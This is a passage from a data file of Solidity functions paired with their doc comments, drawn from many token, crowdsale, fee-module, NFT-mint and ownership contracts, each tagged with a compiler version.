if `amount` is zero.\n\t\tlpToken[pid].safeTransfer(to, amount);\n\t\temit EmergencyWithdraw(msg.sender, pid, amount, to);\n\t}", "version": "0.6.12"} {"comment": "/*\n * Calculates total inflation percentage then mints new Sets to the fee recipient. Position units are\n * then adjusted down (in magnitude) in order to ensure full collateralization. Callable by anyone.\n *\n * @param _setToken Address of SetToken\n */", "function_code": "function accrueFee(ISetToken _setToken)\n public\n nonReentrant\n onlyValidAndInitializedSet(_setToken)\n {\n uint256 managerFee;\n uint256 protocolFee;\n\n if (_streamingFeePercentage(_setToken) > 0) {\n uint256 inflationFeePercentage = _calculateStreamingFee(_setToken);\n\n // Calculate incentiveFee inflation\n uint256 feeQuantity = _calculateStreamingFeeInflation(_setToken, inflationFeePercentage);\n\n // Mint new Sets to manager and protocol\n (managerFee, protocolFee) = _mintManagerAndProtocolFee(_setToken, feeQuantity);\n\n _editPositionMultiplier(_setToken, inflationFeePercentage);\n }\n\n // solhint-disable-next-line not-rely-on-time\n feeStates[_setToken].lastStreamingFeeTimestamp = block.timestamp;\n\n emit FeeActualized(address(_setToken), managerFee, protocolFee);\n }", "version": "0.7.6"} {"comment": "/**\n * SET MANAGER ONLY. Initialize module with SetToken and set the fee state for the SetToken. Passed\n * _settings will have lastStreamingFeeTimestamp over-written.\n *\n * @param _setToken Address of SetToken\n * @param _settings FeeState struct defining fee parameters\n */", "function_code": "function initialize(ISetToken _setToken, FeeState memory _settings)\n external\n onlySetManager(_setToken, msg.sender)\n onlyValidAndPendingSet(_setToken)\n {\n require(_settings.feeRecipient != address(0), \"Fee Recipient must be non-zero address.\");\n require(\n _settings.maxStreamingFeePercentage < PreciseUnitMath.preciseUnit(),\n \"Max fee must be < 100%.\"\n );\n require(\n _settings.streamingFeePercentage <= _settings.maxStreamingFeePercentage,\n \"Fee must be <= max.\"\n );\n\n // solhint-disable-next-line not-rely-on-time\n _settings.lastStreamingFeeTimestamp = block.timestamp;\n\n feeStates[_setToken] = _settings;\n _setToken.initializeModule();\n }", "version": "0.7.6"} {"comment": "/**\n * Returns the new incentive fee denominated in the number of SetTokens to mint. The calculation for the fee involves\n * implying mint quantity so that the feeRecipient owns the fee percentage of the entire supply of the Set.\n *\n * The formula to solve for fee is:\n * (feeQuantity / feeQuantity) + totalSupply = fee / scaleFactor\n *\n * The simplified formula utilized below is:\n * feeQuantity = fee * totalSupply / (scaleFactor - fee)\n *\n * @param _setToken SetToken instance\n * @param _feePercentage Fee levied to feeRecipient\n * @return uint256 New RebalancingSet issue quantity\n */", "function_code": "function _calculateStreamingFeeInflation(ISetToken _setToken, uint256 _feePercentage)\n internal\n view\n returns (uint256)\n {\n uint256 totalSupply = _setToken.totalSupply();\n\n // fee * totalSupply\n uint256 a = _feePercentage.mul(totalSupply);\n\n // ScaleFactor (10e18) - fee\n uint256 b = PreciseUnitMath.preciseUnit().sub(_feePercentage);\n\n return a.div(b);\n }", "version": "0.7.6"} {"comment": "/**\n * Mints sets to both the manager and the protocol. Protocol takes a percentage fee of the total amount of Sets\n * minted to manager.\n *\n * @param _setToken SetToken instance\n * @param _feeQuantity Amount of Sets to be minted as fees\n * @return uint256 Amount of Sets accrued to manager as fee\n * @return uint256 Amount of Sets accrued to protocol as fee\n */", "function_code": "function _mintManagerAndProtocolFee(ISetToken _setToken, uint256 _feeQuantity)\n internal\n returns (uint256, uint256)\n {\n address protocolFeeRecipient = controller.feeRecipient();\n uint256 protocolFee = controller.getModuleFee(address(this), PROTOCOL_STREAMING_FEE_INDEX);\n\n uint256 protocolFeeAmount = _feeQuantity.preciseMul(protocolFee);\n uint256 managerFeeAmount = _feeQuantity.sub(protocolFeeAmount);\n\n _setToken.mint(_feeRecipient(_setToken), managerFeeAmount);\n\n if (protocolFeeAmount > 0) {\n _setToken.mint(protocolFeeRecipient, protocolFeeAmount);\n }\n\n return (managerFeeAmount, protocolFeeAmount);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Function to create tokens\n * @param _to The address that will receive the createed tokens.\n * @param _amount The amount of tokens to create. Must be less than or equal to the creatorAllowance of the caller.\n * @return A boolean that indicates if the operation was successful.\n */", "function_code": "function create(address _to, uint256 _amount) whenNotPaused onlyCreators notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {\n require(_to != address(0));\n require(_amount > 0);\n\n uint256 creatingAllowedAmount = creatorAllowed[msg.sender];\n require(_amount <= creatingAllowedAmount);\n\n totalSupply = totalSupply.add(_amount);\n balances[_to] = balances[_to].add(_amount);\n creatorAllowed[msg.sender] = creatingAllowedAmount.sub(_amount);\n emit Create(msg.sender, _to, _amount);\n emit Transfer(address(0x0), _to, _amount);\n return true;\n }", "version": "0.5.1"} {"comment": "/**\r\n * Atomic decrement of approved spending.\r\n *\r\n * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n */", "function_code": "function subApproval(address _spender, uint _subtractedValue) public\r\n returns (bool success) {\r\n\r\n uint oldVal = allowed[msg.sender][_spender];\r\n\r\n if (_subtractedValue > oldVal) {\r\n allowed[msg.sender][_spender] = 0;\r\n } else {\r\n allowed[msg.sender][_spender] = oldVal.sub(_subtractedValue);\r\n }\r\n Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Set the contract that can call release and make the token transferable.\r\n *\r\n * Since the owner of this contract is (or should be) the crowdsale,\r\n * it can only be called by a corresponding exposed API in the crowdsale contract in case of input error.\r\n */", "function_code": "function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {\r\n // We don't do interface check here as we might want to have a normal wallet address to act as a release agent.\r\n releaseAgent = addr;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Allow the token holder to upgrade some of their tokens to a new contract.\r\n */", "function_code": "function upgrade(uint value) public {\r\n UpgradeState state = getUpgradeState();\r\n // Ensure it's not called in a bad state\r\n require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);\r\n\r\n // Validate input value.\r\n require(value != 0);\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(value);\r\n\r\n // Take tokens out from circulation\r\n totalSupply = totalSupply.sub(value);\r\n totalUpgraded = totalUpgraded.add(value);\r\n\r\n // Upgrade agent reissues the tokens\r\n upgradeAgent.upgradeFrom(msg.sender, value);\r\n Upgrade(msg.sender, upgradeAgent, value);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Set an upgrade agent that handles the upgrade process\r\n */", "function_code": "function setUpgradeAgent(address agent) external {\r\n // Check whether the token is in a state that we could think of upgrading\r\n require(canUpgrade());\r\n\r\n require(agent != 0x0);\r\n // Only a master can designate the next agent\r\n require(msg.sender == upgradeMaster);\r\n // Upgrade has already begun for an agent\r\n require(getUpgradeState() != UpgradeState.Upgrading);\r\n\r\n upgradeAgent = UpgradeAgent(agent);\r\n\r\n // Bad interface\r\n require(upgradeAgent.isUpgradeAgent());\r\n // Make sure that token supplies match in source and target\r\n require(upgradeAgent.originalSupply() == totalSupply);\r\n\r\n UpgradeAgentSet(upgradeAgent);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Make an investment.\r\n *\r\n * Crowdsale must be running for one to invest.\r\n * We must have not pressed the emergency brake.\r\n *\r\n * @param receiver The Ethereum address who receives the tokens\r\n * @param customerId (optional) UUID v4 to track the successful payments on the server side\r\n *\r\n */", "function_code": "function investInternal(address receiver, uint128 customerId) stopInEmergency notFinished private {\r\n // Determine if it's a good time to accept investment from this participant\r\n if (getState() == State.PreFunding) {\r\n // Are we whitelisted for early deposit\r\n require(earlyParticipantWhitelist[receiver]);\r\n }\r\n\r\n uint weiAmount = ceilingStrategy.weiAllowedToReceive(msg.value, weiRaised, investedAmountOf[receiver], weiFundingCap);\r\n uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());\r\n \r\n // Dust transaction if no tokens can be given\r\n require(tokenAmount != 0);\r\n\r\n if (investedAmountOf[receiver] == 0) {\r\n // A new investor\r\n investorCount++;\r\n }\r\n updateInvestorFunds(tokenAmount, weiAmount, receiver, customerId);\r\n\r\n // Pocket the money\r\n multisigWallet.transfer(weiAmount);\r\n\r\n // Return excess of money\r\n uint weiToReturn = msg.value.sub(weiAmount);\r\n if (weiToReturn > 0) {\r\n msg.sender.transfer(weiToReturn);\r\n }\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Preallocate tokens for the early investors.\r\n *\r\n * Preallocated tokens have been sold before the actual crowdsale opens.\r\n * This function mints the tokens and moves the crowdsale needle.\r\n *\r\n * No money is exchanged, as the crowdsale team already have received the payment.\r\n *\r\n * @param fullTokens tokens as full tokens - decimal places added internally\r\n * @param weiPrice Price of a single full token in wei\r\n *\r\n */", "function_code": "function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner notFinished {\r\n require(receiver != address(0));\r\n uint tokenAmount = fullTokens.mul(10**uint(token.decimals()));\r\n require(tokenAmount != 0);\r\n uint weiAmount = weiPrice.mul(tokenAmount); // This can also be 0, in which case we give out tokens for free\r\n updateInvestorFunds(tokenAmount, weiAmount, receiver , 0);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Private function to update accounting in the crowdsale.\r\n */", "function_code": "function updateInvestorFunds(uint tokenAmount, uint weiAmount, address receiver, uint128 customerId) private {\r\n // Update investor\r\n investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);\r\n tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);\r\n\r\n // Update totals\r\n weiRaised = weiRaised.add(weiAmount);\r\n tokensSold = tokensSold.add(tokenAmount);\r\n\r\n assignTokens(receiver, tokenAmount);\r\n // Tell us that the investment was completed successfully\r\n Invested(receiver, weiAmount, tokenAmount, customerId);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * Crowdfund state machine management.\r\n *\r\n * This function has the timed transition builtin.\r\n * So there is no chance of the variable being stale.\r\n */", "function_code": "function getState() public constant returns (State) {\r\n if (finalized) return State.Finalized;\r\n else if (block.number < startsAt) return State.PreFunding;\r\n else if (block.number <= endsAt && !ceilingStrategy.isCrowdsaleFull(weiRaised, weiFundingCap)) return State.Funding;\r\n else if (isMinimumGoalReached()) return State.Success;\r\n else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;\r\n else return State.Failure;\r\n }", "version": "0.4.13"} {"comment": "/** Called once by crowdsale finalize() if the sale was a success. */", "function_code": "function finalizeCrowdsale(CrowdsaleToken token) {\r\n require(msg.sender == address(crowdsale));\r\n\r\n // How many % points of tokens the founders and others get\r\n uint tokensSold = crowdsale.tokensSold();\r\n uint saleBasePoints = basePointsDivisor.sub(bonusBasePoints);\r\n allocatedBonus = tokensSold.mul(bonusBasePoints).div(saleBasePoints);\r\n\r\n // Move tokens to the team multisig wallet\r\n token.mint(teamMultisig, allocatedBonus);\r\n\r\n // Make token transferable\r\n token.releaseTokenTransfer();\r\n }", "version": "0.4.13"} {"comment": "/**\n * @dev allows a creator to destroy some of its own tokens\n * Validates that caller is a creator and that sender is not blacklisted\n * amount is less than or equal to the creator's account balance\n * @param _amount uint256 the amount of tokens to be destroyed\n */", "function_code": "function destroy(uint256 _amount) whenNotPaused onlyCreators notBlacklisted(msg.sender) public {\n uint256 balance = balances[msg.sender];\n require(_amount > 0);\n require(balance >= _amount);\n\n totalSupply = totalSupply.sub(_amount);\n balances[msg.sender] = balance.sub(_amount);\n emit Destroy(msg.sender, _amount);\n emit Transfer(msg.sender, address(0), _amount);\n }", "version": "0.5.1"} {"comment": "/**\n * @dev gets the payload to sign when a user wants to do a metaTransfer\n * @param _from uint256 address of the transferer\n * @param _to uint256 address of the recipient\n * @param value uint256 the amount of tokens to be transferred\n * @param fee uint256 the fee paid to the relayer in uCNY\n * @param nonce uint256 the metaNonce of the usere's metatransaction\n */", "function_code": "function getTransferPayload(\n address _from,\n address _to,\n uint256 value,\n uint256 fee,\n uint256 nonce\n ) public\n view\n returns (bytes32 payload)\n {\n return ECDSA.toEthSignedMessageHash(\n keccak256(abi.encodePacked(\n \"transfer\", // function specfic text\n _from, // transferer.\n _to, // recipient\n address(this), // Token address (replay protection).\n value, // Number of tokens.\n fee, // fee paid to metaTransfer relayer, in uCNY\n nonce // Local sender specific nonce (replay protection).\n ))\n );\n }", "version": "0.5.1"} {"comment": "/**\n * @dev metaTransfer function called by relayer which executes a token transfer\n * on behalf of the original sender who provided a vaild signature.\n * @param _from address of the original sender\n * @param _to address of the recipient\n * @param value uint256 amount of uCNY being sent\n * @param fee uint256 uCNY fee rewarded to the relayer\n * @param metaNonce uint256 metaNonce of the original sender\n * @param signature bytes signature provided by original sender\n */", "function_code": "function metaTransfer(\n address _from,\n address _to,\n uint256 value,\n uint256 fee,\n uint256 metaNonce,\n bytes memory signature\n ) public returns (bool success) {\n\n\n // Verify and increment nonce.\n require(getMetaNonce(_from) == metaNonce);\n metaNonces[_from] = metaNonces[_from].add(1);\n // Verify signature.\n bytes32 payload = getTransferPayload(_from,_to, value, fee, metaNonce);\n require(isValidSignature(_from,payload,signature));\n\n require(_from != address(0));\n\n //_transfer(sender,receiver,value);\n _transfer(_from,_to,value);\n //send Fee to metaTx miner\n _transfer(_from,msg.sender,fee);\n\n emit MetaTransfer(msg.sender, _from,_to,value);\n return true;\n }", "version": "0.5.1"} {"comment": "// Where should the raised ETH go?\n// This is a constructor function \n// which means the following function name has to match the contract name declared above", "function_code": "function Coinware() {\r\n balances[msg.sender] = 40000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)\r\n totalSupply = 40000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)\r\n name = \"Coinware\"; // Set the name for display purposes (CHANGE THIS)\r\n decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)\r\n symbol = \"CWT\"; // Set the symbol for display purposes (CHANGE THIS)\r\n unitsOneEthCanBuy = 50000; // Set the price of your token for the ICO (CHANGE THIS)\r\n fundsWallet = msg.sender; // The owner of the contract gets ETH\r\n }", "version": "0.4.25"} {"comment": "/// @dev Returns true if and only if the function is running in the constructor", "function_code": "function isConstructor() private view returns (bool) {\r\n // extcodesize checks the size of the code stored in an address, and\r\n // address returns the current address. Since the code is still not\r\n // deployed when running a constructor, any checks on its code size will\r\n // yield zero, making it an effective way to detect if a contract is\r\n // under construction or not.\r\n address self = address(this);\r\n uint256 cs;\r\n assembly { cs := extcodesize(self) }\r\n return cs == 0;\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * @dev claim private tokens from the contract balance.\r\n * `amount` means how many tokens must be claimed.\r\n * Can be used only by an owner or by any whitelisted person\r\n */", "function_code": "function claimPrivateTokens(uint amount) public {\r\n require(privateWhitelist[msg.sender] > 0, \"Sender is not whitelisted\");\r\n require(privateWhitelist[msg.sender] >= amount, \"Exceeded token amount\");\r\n require(currentPrivatePool >= amount, \"Exceeded private pool\");\r\n \r\n currentPrivatePool = currentPrivatePool.sub(amount);\r\n \r\n privateWhitelist[msg.sender] = privateWhitelist[msg.sender].sub(amount);\r\n token.transfer(msg.sender, amount);\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * ICO constructor\r\n * Define ICO details and contribution period\r\n */", "function_code": "function Ico(uint256 _icoStart, uint256 _icoEnd, address[] _team, uint256 _tokensPerEth) public {\r\n // require (_icoStart >= now);\r\n require (_icoEnd >= _icoStart);\r\n require (_tokensPerEth > 0);\r\n\r\n owner = msg.sender;\r\n\r\n icoStart = _icoStart;\r\n icoEnd = _icoEnd;\r\n tokensPerEth = _tokensPerEth;\r\n\r\n // initialize the team mapping with true when part of the team\r\n teamNum = _team.length;\r\n for (uint256 i = 0; i < teamNum; i++) {\r\n team[_team[i]] = true;\r\n }\r\n\r\n // as a safety measure tempory set the sale address to something else than 0x0\r\n currentSaleAddress = owner;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n *\r\n * Function allowing investors to participate in the ICO.\r\n * Specifying the beneficiary will change who will receive the tokens.\r\n * Fund tokens will be distributed based on amount of ETH sent by investor, and calculated\r\n * using tokensPerEth value.\r\n */", "function_code": "function participate(address beneficiary) public payable {\r\n require (beneficiary != address(0));\r\n require (now >= icoStart && now <= icoEnd);\r\n require (msg.value > 0);\r\n\r\n uint256 ethAmount = msg.value;\r\n uint256 numTokens = ethAmount.mul(tokensPerEth);\r\n\r\n require(totalSupply.add(numTokens) <= hardCap);\r\n\r\n balances[beneficiary] = balances[beneficiary].add(numTokens);\r\n totalSupply = totalSupply.add(numTokens);\r\n tokensFrozen = totalSupply * 2;\r\n aum = totalSupply;\r\n\r\n owner.transfer(ethAmount);\r\n // Our own custom event to monitor ICO participation\r\n Participate(beneficiary, numTokens);\r\n // Let ERC20 tools know of token hodlers\r\n Transfer(0x0, beneficiary, numTokens);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Internal burn function, only callable by team\r\n *\r\n * @param _amount is the amount of tokens to burn.\r\n */", "function_code": "function freeze(uint256 _amount) public onlySaleAddress returns (bool) {\r\n reconcileDividend(msg.sender);\r\n require(_amount <= balances[msg.sender]);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n totalSupply = totalSupply.sub(_amount);\r\n tokensFrozen = tokensFrozen.add(_amount);\r\n\r\n aum = aum.sub(tokenValue.mul(_amount).div(tokenPrecision));\r\n\r\n Freeze(msg.sender, _amount);\r\n Transfer(msg.sender, 0x0, _amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Calculate the divends for the current period given the AUM profit\r\n *\r\n * @param totalProfit is the amount of total profit in USD.\r\n */", "function_code": "function reportProfit(int256 totalProfit, address saleAddress) public onlyTeam returns (bool) {\r\n // first we new dividends if this period was profitable\r\n if (totalProfit > 0) {\r\n // We only care about 50% of this, as the rest is reinvested right away\r\n uint256 profit = uint256(totalProfit).mul(tokenPrecision).div(2);\r\n\r\n // this will throw if there are not enough tokens\r\n addNewDividends(profit);\r\n }\r\n\r\n // then we drip\r\n drip(saleAddress);\r\n\r\n // adjust AUM\r\n aum = aum.add(uint256(totalProfit).mul(tokenPrecision));\r\n\r\n // register the sale address\r\n currentSaleAddress = saleAddress;\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Calculate the divends for the current period given the dividend\r\n * amounts (USD * tokenPrecision).\r\n */", "function_code": "function addNewDividends(uint256 profit) internal {\r\n uint256 newAum = aum.add(profit); // 18 sig digits\r\n tokenValue = newAum.mul(tokenPrecision).div(totalSupply); // 18 sig digits\r\n uint256 totalDividends = profit.mul(tokenPrecision).div(tokenValue); // 18 sig digits\r\n uint256 managementDividends = totalDividends.div(managementFees); // 17 sig digits\r\n uint256 dividendsIssued = totalDividends.sub(managementDividends); // 18 sig digits\r\n\r\n // make sure we have enough in the frozen fund\r\n require(tokensFrozen >= totalDividends);\r\n\r\n dividendSnapshots.push(DividendSnapshot(totalSupply, dividendsIssued, managementDividends));\r\n\r\n // add the previous amount of given dividends to the totalSupply\r\n totalSupply = totalSupply.add(totalDividends);\r\n tokensFrozen = tokensFrozen.sub(totalDividends);\r\n }", "version": "0.4.18"} {"comment": "// Reconcile all outstanding dividends for an address\n// into its balance.", "function_code": "function reconcileDividend(address _owner) internal {\r\n var (owedDividend, dividends) = getOwedDividend(_owner);\r\n\r\n for (uint i = 0; i < dividends.length; i++) {\r\n if (dividends[i] > 0) {\r\n Reconcile(_owner, lastDividend[_owner] + i, dividends[i]);\r\n Transfer(0x0, _owner, dividends[i]);\r\n }\r\n }\r\n\r\n if(owedDividend > 0) {\r\n balances[_owner] = balances[_owner].add(owedDividend);\r\n }\r\n\r\n // register this user as being owed no further dividends\r\n lastDividend[_owner] = dividendSnapshots.length;\r\n }", "version": "0.4.18"} {"comment": "// free for gutter cats", "function_code": "function freeSale(uint256 catID) external nonReentrant {\n require(tx.origin == msg.sender, \"no...\");\n require(freeMintLive, \"free mint not live\");\n\n require(_currentIndex + 1 <= maxNormalSupplyID, \"out of stock\");\n require(!usedCatIDs[catID], \"you can only mint once with this id\");\n\n require(\n IERC1155(gutterCatNFTAddress).balanceOf(msg.sender, catID) > 0,\n \"you have to own a cat with this id\"\n );\n\n usedCatIDs[catID] = true;\n\n mintToken(msg.sender);\n }", "version": "0.8.11"} {"comment": "//sets the gang addresses", "function_code": "function setGutterAddresses(\n address cats,\n address rats,\n address pigeons,\n address dogs\n ) external onlyOwner {\n gutterCatNFTAddress = cats; //0xEdB61f74B0d09B2558F1eeb79B247c1F363Ae452\n gutterRatNFTAddress = rats; //0xD7B397eDad16ca8111CA4A3B832d0a5E3ae2438C\n gutterPigeonNFTAddress = pigeons; //0x950b9476a4de757BB134483029AC4Ec17E739e3A\n gutterDogNFTAddress = dogs; //0x6e9da81ce622fb65abf6a8d8040e460ff2543add\n }", "version": "0.8.11"} {"comment": "/**\n * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.\n */", "function_code": "function isApprovedForAll(address owner, address operator)\n public\n view\n override\n returns (bool)\n {\n // Whitelist OpenSea proxy contract for easy trading.\n ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);\n if (address(proxyRegistry.proxies(owner)) == operator) {\n return true;\n }\n return super.isApprovedForAll(owner, operator);\n }", "version": "0.8.11"} {"comment": "/**\n * Withdraw processed allowance from a specific epoch\n */", "function_code": "function withdraw(uint256 epoch) external {\n require(epoch < currentEpoch(), \"Can only withdraw from past epochs\");\n\n User storage user = userData[msg.sender];\n\n uint256 amount = user.Exits[epoch];\n delete user.Exits[epoch];\n totalPerEpoch[epoch] -= amount; // TODO: WHen this goes to 0, is it the same as the data being removed?\n user.Amount -= amount;\n\n // Once all allocations on queue have been claimed, reset user state\n if (user.Amount == 0) {\n // NOTE: triggers ExitQueue.withdraw(uint256) (contracts/ExitQueue.sol #150-167) deletes ExitQueue.User (contracts/ExitQueue.sol#15-27) which contains a mapping\n // This is okay as if Amount is 0, we'd expect user.Exits to be empty as well\n // TODO: Confirm this via tests\n delete userData[msg.sender];\n }\n\n SafeERC20.safeTransfer(TEMPLE, msg.sender, amount);\n emit Withdrawal(msg.sender, amount); \n }", "version": "0.8.4"} {"comment": "// All the following overrides are optional, if you want to modify default behavior.\n// How the protection gets disabled.", "function_code": "function protectionChecker() internal view override returns(bool) {\n return ProtectionSwitch_timestamp(1620086399); // Switch off protection on Monday, May 3, 2021 11:59:59 PM.\n // return ProtectionSwitch_block(13000000); // Switch off protection on block 13000000.\n //return ProtectionSwitch_manual(); // Switch off protection by calling disableProtection(); from owner. Default.\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\n * allowance.\n *\n * See {ERC20-_burn} and {ERC20-allowance}.\n *\n * Requirements:\n *\n * - the caller must have allowance for ``accounts``'s tokens of at least\n * `amount`.\n * - the caller must have the `BURNER_ROLE`.\n */", "function_code": "function burnFrom(address account, uint256 amount) public {\n require(hasRole(BURNER_ROLE, _msgSender()), \"Standard: must have burner role to burn\");\n\n uint256 currentAllowance = allowance(account, _msgSender());\n require(currentAllowance >= amount, \"ERC20: burn amount exceeds allowance\");\n _approve(account, _msgSender(), currentAllowance - amount);\n _burn(account, amount);\n }", "version": "0.8.4"} {"comment": "/**\r\n * When given allowance, transfers a token from the \"_from\" to the \"_to\" of quantity \"_quantity\".\r\n * Ensures that the recipient has received the correct quantity (ie no fees taken on transfer)\r\n *\r\n * @param _token ERC20 token to approve\r\n * @param _from The account to transfer tokens from\r\n * @param _to The account to transfer tokens to\r\n * @param _quantity The quantity to transfer\r\n */", "function_code": "function transferFrom(\r\n IERC20 _token,\r\n address _from,\r\n address _to,\r\n uint256 _quantity\r\n )\r\n internal\r\n {\r\n // Call specified ERC20 contract to transfer tokens (via proxy).\r\n if (_quantity > 0) {\r\n uint256 existingBalance = _token.balanceOf(_to);\r\n\r\n SafeERC20.safeTransferFrom(\r\n _token,\r\n _from,\r\n _to,\r\n _quantity\r\n );\r\n\r\n uint256 newBalance = _token.balanceOf(_to);\r\n\r\n // Verify transfer quantity is reflected in balance\r\n require(\r\n newBalance == existingBalance.add(_quantity),\r\n \"Invalid post transfer balance\"\r\n );\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0).\r\n */", "function_code": "function divDown(int256 a, int256 b) internal pure returns (int256) {\r\n require(b != 0, \"Cant divide by 0\");\r\n require(a != MIN_INT_256 || b != -1, \"Invalid input\");\r\n\r\n int256 result = a.div(b);\r\n if (a ^ b < 0 && a % b != 0) {\r\n result = result.sub(1);\r\n }\r\n\r\n return result;\r\n }", "version": "0.6.10"} {"comment": "// deletes proposal signature data after successfully executing a multiSig function", "function_code": "function deleteProposal(Data storage self, bytes32 _whatFunction)\r\n internal\r\n {\r\n //done for readability sake\r\n bytes32 _whatProposal = whatProposal(_whatFunction);\r\n address _whichAdmin;\r\n \r\n //delete the admins votes & log. i know for loops are terrible. but we have to do this \r\n //for our data stored in mappings. simply deleting the proposal itself wouldn't accomplish this.\r\n for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) {\r\n _whichAdmin = self.proposal_[_whatProposal].log[i];\r\n delete self.proposal_[_whatProposal].admin[_whichAdmin];\r\n delete self.proposal_[_whatProposal].log[i];\r\n }\r\n //delete the rest of the data in the record\r\n delete self.proposal_[_whatProposal];\r\n }", "version": "0.4.24"} {"comment": "// returns address of an admin who signed for any given function", "function_code": "function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)\r\n internal\r\n view\r\n returns (address signer)\r\n {\r\n require(_signer > 0, \"MSFun checkSigner failed - 0 not allowed\");\r\n bytes32 _whatProposal = whatProposal(_whatFunction);\r\n return (self.proposal_[_whatProposal].log[_signer - 1]);\r\n }", "version": "0.4.24"} {"comment": "/* Transfers tokens from your address to other */", "function_code": "function transfer(address _to, uint256 _value) lockAffected returns (bool success) {\r\n require(_to != 0x0 && _to != address(this));\r\n balances[msg.sender] = balances[msg.sender].sub(_value); // Deduct senders balance\r\n balances[_to] = balances[_to].add(_value); // Add recivers blaance\r\n Transfer(msg.sender, _to, _value); // Raise Transfer event\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "/** Current market price per pixel for this region if it is the first sale of this region\r\n \t */", "function_code": "function calculateRegionInitialSalePixelPrice(address[16] _contracts, uint256 _regionId) view public returns (uint256) {\r\n\t\trequire(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAt(_regionId) > 0); // region exists\r\n\t\tvar purchasedPixels = countPurchasedPixels(_contracts);\r\n\t\tvar (area,,) = calculateArea(_contracts, _regionId);\r\n\t\treturn calculateAveragePixelPrice(_contracts, purchasedPixels, purchasedPixels + area);\r\n\t}", "version": "0.4.19"} {"comment": "/**\r\n * @dev Tries to returns the value associated with `key`. O(1).\r\n * Does not revert if `key` is not in the map.\r\n */", "function_code": "function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {\r\n bytes32 value = map._values[key];\r\n if (value == bytes32(0)) {\r\n return (_contains(map, key), bytes32(0));\r\n } else {\r\n return (true, value);\r\n }\r\n }", "version": "0.8.12"} {"comment": "/** Setup is allowed one whithin one day after purchase\r\n \t */", "function_code": "function calculateSetupAllowedUntil(address[16] _contracts, uint256 _regionId) view public returns (uint256) {\r\n\t\tvar (updatedAt, purchasedAt) = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAtPurchasedAt(_regionId);\r\n\t\tif(updatedAt != purchasedAt) {\r\n\t\t\treturn 0;\r\n\t\t} else {\r\n\t\t\treturn purchasedAt + 1 days;\r\n\t\t}\r\n\t}", "version": "0.4.19"} {"comment": "/**\r\n \t * @dev Internal function to add a token ID to the list of a given address\r\n \t * @param _to address representing the new owner of the given token ID\r\n \t * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address\r\n \t */", "function_code": "function addToken(address[16] _contracts, address _to, uint256 _tokenId) private {\r\n\t\tvar ownStorage = BdpOwnershipStorage(BdpContracts.getBdpOwnershipStorage(_contracts));\r\n\r\n\t\trequire(ownStorage.getTokenOwner(_tokenId) == address(0));\r\n\r\n\t\t// Set token owner\r\n\t\townStorage.setTokenOwner(_tokenId, _to);\r\n\r\n\t\t// Add token to tokenIds list\r\n\t\tvar tokenIdsLength = ownStorage.pushTokenId(_tokenId);\r\n\t\townStorage.setTokenIdsIndex(_tokenId, tokenIdsLength.sub(1));\r\n\r\n\t\tuint256 ownedTokensLength = ownStorage.getOwnedTokensLength(_to);\r\n\r\n\t\t// Add token to ownedTokens list\r\n\t\townStorage.pushOwnedToken(_to, _tokenId);\r\n\t\townStorage.setOwnedTokensIndex(_tokenId, ownedTokensLength);\r\n\r\n\t\t// Increment total owned area\r\n\t\tvar (area,,) = BdpCalculator.calculateArea(_contracts, _tokenId);\r\n\t\townStorage.incrementOwnedArea(_to, area);\r\n\t}", "version": "0.4.19"} {"comment": "/**\r\n \t * @dev Remove token from ownedTokens list\r\n \t * Note that this will handle single-element arrays. In that case, both ownedTokenIndex and lastOwnedTokenIndex are going to\r\n \t * be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping\r\n \t * the lastOwnedToken to the first position, and then dropping the element placed in the last position of the list\r\n \t */", "function_code": "function removeFromOwnedToken(BdpOwnershipStorage _ownStorage, address _from, uint256 _tokenId) private {\r\n\t\tvar ownedTokenIndex = _ownStorage.getOwnedTokensIndex(_tokenId);\r\n\t\tvar lastOwnedTokenIndex = _ownStorage.getOwnedTokensLength(_from).sub(1);\r\n\t\tvar 